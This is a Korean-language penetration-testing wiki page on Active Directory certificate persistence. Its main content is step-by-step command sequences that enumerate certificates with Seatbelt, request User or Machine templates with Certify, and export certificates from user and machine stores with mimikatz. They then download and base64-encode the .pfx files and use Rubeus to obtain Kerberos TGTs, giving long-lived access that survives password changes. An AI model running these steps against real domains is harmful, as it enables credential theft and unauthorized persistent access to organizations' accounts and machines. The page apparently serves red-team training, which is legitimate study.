> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/persistence/active-directory/certificate.md).

# Certificate

인증서는 CA에 의해 폐기되거나 만료되지 않는 이상, 비밀번호를 변경한다고 하더라도 유효하게 사용이 가능하며 유효기간은 기본적으로 1년이기 때문에 지속성 공격으로 탁월합니다.&#x20;

## User Persistence

다른 사용자의 Personal Certificate Store에 저장된 인증서는 도메인/로컬 관리자라고 하더라도 열람할 수 없습니다. 인증서는 `HKCU\Software\Microsoft\SystemCertificates` 키 아래의 시스템 레지스트리에 보관되며 `C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\` 하위에 저장될 수도 있습니다.

대상 비콘을 획득한 단계에서 인증서를 열거하기 위해 Seatbelt를 사용할 수 있습니다. 이때 열거된 인증서 중 Client Authentication 용도로 설정된 인증서만이 인증서를 통해 사용자 인증이 가능합니다. 만약 사용자 저장소에 인증서가 없다면 내장된 기본 템플릿인 User 템플릿을 요청할 수 있습니다.

<pre class="language-powershell"><code class="lang-powershell"><strong># Seatbelt를 사용한 사용자 인증서 열거
</strong>.\Seatbelt.exe Certificates

<strong># 인증서가 없다면 내장된 User 템플릿 요청
</strong>.\Certify.exe request /ca:&#x3C;ca> /template:User

<strong># 인증서 추출
</strong>mimikatz crypto::certificates /export

<strong># 인증서 다운로드
</strong>download &#x3C;pfx file>

<strong># 인증서 Base64 포맷으로 변경
</strong>cat user.pfx | base64 -w 0

<strong># 인증서를 통한 TGT 요청(패스워드 : mimikatz)
</strong>.\Rubeus.exe asktgt /user:&#x3C;USER> /certificate:&#x3C;Base64 Encoded pfx> /password:mimikatz /nowrap
</code></pre>

## Computer Persistence

도메인 사용자 계정의 경우 해당 사용자만이 본인의 저장소에 접근이 가능한 반면, 머신 계정의 저장소는 로컬 관리자만이 접근할 수 있습니다.

<pre><code><strong># Seatbelt를 사용한 사용자 인증서 열거
</strong>.\Seatbelt.exe Certificates

<strong># 인증서가 없다면 내장된 Machine 템플릿 요청
</strong>.\Certify.exe request /ca:&#x3C;ca> /template:Machine /machine

<strong># 인증서 추출
</strong>mimikatz !crypto::certificates /systemstore:local_machine /export

<strong># 인증서 다운로드
</strong>download &#x3C;pfx file>

<strong># 인증서 Base64 포맷으로 변경
</strong>cat machine.pfx | base64 -w 0

<strong># 인증서를 통한 TGT 요청(패스워드 : mimikatz)
</strong>.\Rubeus.exe asktgt /user:&#x3C;Machine> /enctype:aes256 /certificate:&#x3C;Base64 Encoded pfx> /password:mimikatz /nowrap
</code></pre>

## References

{% embed url="<https://learn.microsoft.com/en-us/windows-hardware/drivers/install/certificate-stores>" %}

{% embed url="<https://www.aspencrypt.com/task_certs.html>" %}
